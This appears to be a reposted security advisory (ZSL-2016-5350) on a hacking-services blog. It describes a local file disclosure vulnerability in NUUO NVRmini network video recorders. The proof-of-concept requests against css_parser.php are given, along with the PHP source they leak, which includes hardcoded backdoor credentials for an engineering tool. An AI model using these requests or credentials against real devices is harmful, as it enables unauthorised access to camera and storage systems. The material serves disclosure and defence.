Jump to content

Hacker Technology

A group blog by Leader in Hacker Website - Providing Professional Ethical Hacking Services

  • Entries

    16114

  • Comments

    7952

  • Views

    863104311

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

HireHackking 
NUUO Local File Disclosure Vulnerability


Vendor: NUUO Inc.
Product web page: http://www.nuuo.com
Affected version: <=3.0.8 (NE-4160, NT-4040)

Summary: NUUO NVRmini 2 is the lightweight, portable NVR solution with NAS
functionality. Setup is simple and easy, with automatic port forwarding
settings built in. NVRmini 2 supports POS integration, making this the perfect
solution for small retail chain stores. NVRmini 2 also comes full equipped as
a NAS, so you can enjoy the full storage benefits like easy hard drive hot-swapping
and RAID functions for data protection. Choose NVR and know that your valuable video
data is safe, always.

Desc: NUUO NVRmini, NVRmini2, Crystal and NVRSolo suffers from a file disclosure
vulnerability when input passed thru the 'css' parameter to 'css_parser.php' script
is not properly verified before being used to include files. This can be exploited
to disclose contents of files from local resources.


Tested on: GNU/Linux 3.0.8 (armv7l)
           GNU/Linux 2.6.31.8 (armv5tel)
           lighttpd/1.4.28
           PHP/5.5.3


Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
                            @zeroscience


Advisory ID: ZSL-2016-5350
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2016-5350.php


14.01.2016

--


Request:
--------
GET http://10.0.0.17/css_parser.php?css=__nvr_dat_tool___.php HTTP/1.1


Response:
---------

<?php
include('utils.php');
header("Expires: Thu, 19 Nov 1981 08:52:00 GMT");
header("Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0");
header("Pragma: no-cache");

session_start();
?>
<html>
<head>
    <meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
    <title>DatTool</title>
</head>
<body>
<?php
if (isset($_POST) && isset($_POST['username']) && isset($_POST['password']))
{
    if ($_POST['username'] != 'nuuoeng' || $_POST['password'] != 'qwe23622260')
    {
        exit(0);
    }

    if (isset($_POST['act']) && $_POST['act'] == 'checkdat')
    {
        echo '<script language="javascript">';
        echo 'alert("The system will start to repair videos right after system reboot. Please go to Setting Page to reboot system manually.")';
        echo '</script>';
        touch(constant("FLASH_FOLDER")."/checkdat");
    }
?>

<p>Click the Repair button to repair the recorded videos became black due to incorrect video format. It may take a long time to repair videos, which depends on the amount of video files.</p>
<form method="POST" action="<?php echo $_SERVER['PHP_SELF']; ?>" name="form0">
<input type="hidden" name="username" value="<?php echo $_POST['username']; ?>">
<input type="hidden" name="password" value="<?php echo htmlspecialchars( $_POST['password'] ); ?>">
<input type="hidden" name="act"      value="checkdat">
<input type="submit" value="Repair" name="submit" >
</form>

<?php
}
else
{
?>
<form method="POST" action="<?php echo $_SERVER['PHP_SELF']; ?>" name="form0">
Usermame: <input type="text" size="15" name="username" value=""><br />
Password: <input type="password" size="15" name="password" value=""><br />
<input type="submit" value="Submit" name="submit" >
</form>
<?php
}

?>

</body>
</html>


============================================================================

Request:
--------

GET http://10.0.0.17/css_parser.php?css=css_parser.php HTTP/1.1


Response:
---------

<?php

if(!isset($_GET['css']))exit('/* please supply a "css" parameter */');
$filename=$_GET['css'];

if(strpos($filename,'..')!==false)exit('/* please use an absolute address for your css */');
$filename=$_SERVER['DOCUMENT_ROOT'].'/'.$filename;
if(!file_exists($filename))exit('/* referred css file does not exist */');

header('content-type:text/css');
header("Expires: ".gmdate("D, d M Y H:i:s", (time()+900)) . " GMT");

$matches=array();
$names=array();
$values=array();
$file=file_get_contents($filename);
foreach   ($_GET as $key=>$value)  
{
    //echo   "Key: $key; Value: $value <br/>\n ";
    if ($key != 'css')
    {
        $file = str_replace($key,$value,$file);
    }
    //system("echo \"Key: $key; Value: $value <br/>\n \" >> $filename");
} 

echo $file;

/*
foreach(array_reverse($matches[0]) as $match){
  $match=preg_replace('/\s+/',' ',rtrim(ltrim($match)));
  $names[]=preg_replace('/\s.*//*','',$match);
  $values[]=preg_replace('/^[^\s]*\s/','',$match);
}
*/

?>